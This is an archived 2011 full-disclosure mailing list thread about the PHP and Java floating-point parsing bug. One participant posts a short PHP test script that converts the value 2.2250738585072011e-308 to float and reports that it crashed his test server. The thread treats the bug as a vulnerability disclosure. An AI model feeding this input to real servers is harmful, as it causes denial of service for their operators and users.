full-disclosure - Re: {Java,PHP} Server Exploits

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Date: Wed, 9 Feb 2011 20:00:56 +0000
From: "Cal Leeming [Simplicity Media Ltd]"
	<cal.leeming@...plicitymedialtd.co.uk>
To: Christian Sciberras <uuf6429@...il.com>
Cc: full-disclosure@...ts.grok.org.uk, literalka@...a.eu
Subject: Re: {Java,PHP} Server Exploits

Christian, this issue has been 'floating' around for several months now.

On Wed, Feb 9, 2011 at 7:56 PM, Christian Sciberras <uuf6429@...il.com>wrote:

> Ah, been reading more about it, seems it was fixed.
>
> Still, there should have been safeguards around this - I'm thinking they
> should check existing conversion routines to ensure they're safe...
>
>
>
>
> On Wed, Feb 9, 2011 at 8:54 PM, Christian Sciberras <uuf6429@...il.com>wrote:
>
>> Was it fixed? What's the current status?
>>
>> The sounds like a major issue, and the lack of info about it is darn
>> impressive.
>>
>>
>> I tried it on my test Windows WAMP server:
>>
>> <?php
>>
>>     ob_implicit_flush(true);
>>
>>     echo 'Start test...<br/>';
>>
>>     $f=(float)"2.2250738585072011e-308";
>>     echo 'Try 1 => '.$f.'</br>';
>>
>>     $f=floatval("2.2250738585072011e-308");
>>     echo 'Try 2 => '.$f.'</br>';
>>
>>     $f="2.2250738585072011e-308";
>>     echo 'Try 3 => '.(float)$f.'</br>';
>>
>>     echo 'Test failed, server not vulnerable!</br>';
>>
>> ?>
>>
>> All three tests succeeded in crashing the server.
>>
>> With all due respect, this should NOT have been disclosed without being
>> FIXED (as it seems to me).
>> Plus, I'm a bit amazed such a bug exists in PHP - since converting to
>> floating point is a trivial operation, it should have been limited and
>> safe-guarded from the start.
>> There are a lot of servers out there happily accepting input as floating
>> point values, this bug should be top priority...
>>
>>
>> Chris.
>>
>>
>>
>> On Wed, Feb 9, 2011 at 6:40 PM, Leon Kaiser <literalka@...il.com> wrote:
>>
>>>
>>> http://developers.slashdot.org/story/11/02/09/025237/Java-Floating-Point-Bug-Can-Lock-Up-Servers
>>>
>>> http://it.slashdot.org/story/11/01/06/1820208/PHP-Floating-Point-Bug-Crashes-Server<http://it.slashdot.org/story/11/01/06/1820208/PHP-Floating-Point-Bug-Crashes-Servers>
>>>
>>>
>>> _______________________________________________
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>>
>>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
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